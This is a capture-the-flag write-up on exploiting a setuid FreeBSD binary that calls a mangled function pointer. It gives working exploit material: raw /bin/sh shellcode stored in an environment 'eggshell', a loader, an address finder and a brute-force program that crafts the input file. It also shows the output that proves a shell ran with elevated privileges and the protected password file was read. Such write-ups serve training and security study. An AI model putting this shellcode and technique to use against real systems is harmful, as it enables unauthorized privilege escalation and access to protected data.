$ ssh codeXing@1.234.41.2
Password:
…
FreeBSD 8.2-RELEASE (GENERIC) #0: Fri Feb 18 02:24:46 UTC 2011$ ls -l
-rwsr-xr-x 1 codeXing2 codeXing2 5916 Feb 24 08:49 X
-r——– 1 codeXing2 codeXing2 26 Feb 24 08:56 password
Looks like a classic binary exploitation challenge right ?
$ echo “ABCDEFGHIJKLOMNOPQRSTUVWXYZ” > test
$ ./X test
Segmentation fault
Except it segfaults almost immediately for a change. The binary is small and doesn’t do much, it will open a file, read 12 bytes from it and then mangles a pointer from the address of an unused function with various or, and, xor and finally call this pointer.
First, the start of the stack is overwritten:
.text:080485A4 mov dword ptr [esp+8], 12h ; n
.text:080485AC mov dword ptr [esp+4], 90h ; c
.text:080485B4 lea eax, [ebp+s]
.text:080485B7 mov [esp], eax ; s
.text:080485BA call _memset
Then we have the pointer operations:
.text:0804862E movzx eax, byte ptr [ebp+var_42+1]
.text:08048632 mov byte ptr [ebp+var_36+1], al
.text:08048635 movzx eax, byte ptr [ebp+var_3E+2]
.text:08048639 mov byte ptr [ebp+var_36], al
.text:0804863C mov ds:funcc, offset func
.text:08048646 mov eax, ds:funcc
.text:0804864B mov [ebp+var_18], eax
.text:0804864E movzx eax, byte ptr [ebp+var_42]
.text:08048652 or eax, 1
.text:08048655 movsx eax, al
.text:08048658 xor al, 0E0h
.text:0804865A shl eax, 18h
.text:0804865D mov [ebp+var_20], eax
.text:08048660 movzx eax, byte ptr [ebp+s+1]
.text:08048664 or eax, 1
.text:08048667 movsx eax, al
.text:0804866A xor al, 0E0h
.text:0804866C shl eax, 10h
.text:0804866F mov [ebp+var_1C], eax
.text:08048672 mov dword ptr [esp+8], 12h ; n
.text:0804867A lea eax, [ebp+s]
.text:0804867D mov [esp+4], eax ; src
.text:08048681 mov dword ptr [esp], offset test ; dest
.text:08048688 call _strncpy
.text:0804868D mov eax, [ebp+var_20]
.text:08048690 mov [ebp+var_30], eax
.text:08048693 mov eax, ds:funcc
.text:08048698 mov [ebp+var_18], eax
.text:0804869B mov eax, [ebp+var_18]
.text:0804869E mov [ebp+var_2C], eax
.text:080486A1 and [ebp+var_2C], 0FFFFh
.text:080486A8 mov eax, [ebp+var_2C]
.text:080486AB or eax, [ebp+var_20]
.text:080486AE mov [ebp+var_28], eax
.text:080486B1 mov eax, [ebp+var_28]
.text:080486B4 or eax, [ebp+var_1C]
.text:080486B7 mov [ebp+var_24], eax
.text:080486BA mov eax, [ebp+var_24]
.text:080486BD mov [ebp+var_18], eax
.text:080486C0 mov eax, [ebp+var_18]
.text:080486C3 mov ds:funcc, eax
.text:080486C8 mov eax, ds:funcc
.text:080486CD call eax ; funcc
What we want, of course, is get total control of eax so we can call our shellcode.
We have very little space since only 12 bytes will be read from the file. So our strategy will be as follow:
– control eax using the file
– put our shell code in environment (eggshell)
After spending some time setting up a local FreeBSD VM because the challenge server was flacky, our team mate bpint3 found that we could control the low part of eax using positions 6 and 11 in the file.
That was a good start now we need to control the upper part and put it in the range of the environment. Luckily there was no ASLR and this memory space was always at the same place following consecutive executions.
I couldn’t really make any sense of the pointer mangling code in a predictable way and time was running out, so we went for a bruteforce.
First we copied and modified the binary to remove the “call eax” and replaced it with 2 syscalls:
– one call to the write() syscall to print the value of eax
– one call to exit() to avoid a segfault and get a clean exit
80486c3: a3 40 99 04 08 mov %eax,0x8049940 <- ds:funcc 80486c8: 6a 04 push $0x4 <- nbytes 80486ca: 68 40 99 04 08 push $0x8049940 <- push ds:funcc 80486cf: 6a 01 push $0x1 <- nsize 80486d1: 31 c0 xor %eax,%eax 80486d3: 50 push %eax 80486d4: b0 04 mov $0x4,%al <- write syscall 80486d6: cd 80 int $0x80 <- print eax 80486d8: b0 01 mov $0x1,%al <- exit syscal 80486da: cd 80 int $0x80
Result:
$ ./X2 test | hexdump -C
00000000 4b 46 a3 a5
Next we work on the eggshell
#define NOP 0x90
char shellcode[] =
"\xeb\x0e\x5e\x31\xc9\xb1\x1c\xfe\x04\x0e\xe2\xfb\xfe\x06\x56"
"\xc3\xe8\xed\xff\xff\xff\xea\x0d\x5d\x30\xbf\x87\x45\x06\x4f"
"\x53\x55\xaf\x3a\x4f\xcc\x7f\xe7\xec\xfe\xfe\xfe\x2e\x61\x68"
"\x6d\x2e\x72\x67";
int main(void)
{
char shell[512];
puts("Eggshell loaded into environment.\n");
memset(shell,NOP,512); /* fill-up the buffer with NOP */
/* fill-up the shellcode on the second half to the end of buffer */
memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
/* set the environment variable to */
/* EGG and shell as its value, rewrite if needed */
setenv("EGG", shell, 1);
/* modify the variable */
putenv(shell);
/* invoke the bash */
system("sh");
return 0;
}
Nothing special there, we didn’t wrote this code, it’s a standard /bin/sh shellcode for FreeBSD. Lets load it:
$ ./egg
Eggshell loaded into environment.
Now we need to get the address of our eggshell:
int main(void)
{
printf("EGG address: 0x%lx\n", getenv("EGG"));
return 0;
}
$ ./findeggaddr
EGG address: 0xbfbfed49
Now we can automate this with a bruteforcer that will have 3 goals:
– generate random file but with position 6 and 11 filled with bytes we choose (low part of the address of our eggshell: ed 49)
– call the X2 binary and read its output
– check if the output is a good candidate: pointer must start with bfbf (upper part of the environment table address)
#include <stdlib.h>
main(){
int funcc;
int target_low = 0xbfbf0000;
int target_high = 0xbfbfffff;
char payload[13];
int i;
FILE *fp;
while(1)
{
for(i=0;i<12;i++)
{
payload[i] = (char)rand();
}
payload[5] = 0xED;
payload[10] = 0x49;
fp = fopen("pwned","w");
fwrite(payload,1,sizeof(payload), fp);
fclose(fp);
fp = popen("./X2 pwned", "r");
if (fp)
{
fread(&funcc, 1, 4, fp);
pclose(fp);
printf("funcc=%X\n", funcc);
if (funcc > target_low && funcc < target_high)
{
printf("WIN! Check pwned file\n");
exit(0);
}
}
}
return 0;
}
Let’s run it for a couple of seconds:
…
funcc=FF39ED49
funcc=FF2DED49
funcc=FD97ED49
funcc=FF79ED49
funcc=BFBFED49
WIN! Check pwned file
So we found a solution, let’s try it:
$ /home/codeXing/X pwned
$ id
uid=1001(codeXing) gid=1001(codeXing) euid=1002(codeXing2) groups=1001(codeXing)
$ cat /home/codeXing/password
key_is_The_davinci_cod3_!
Challenge solved.
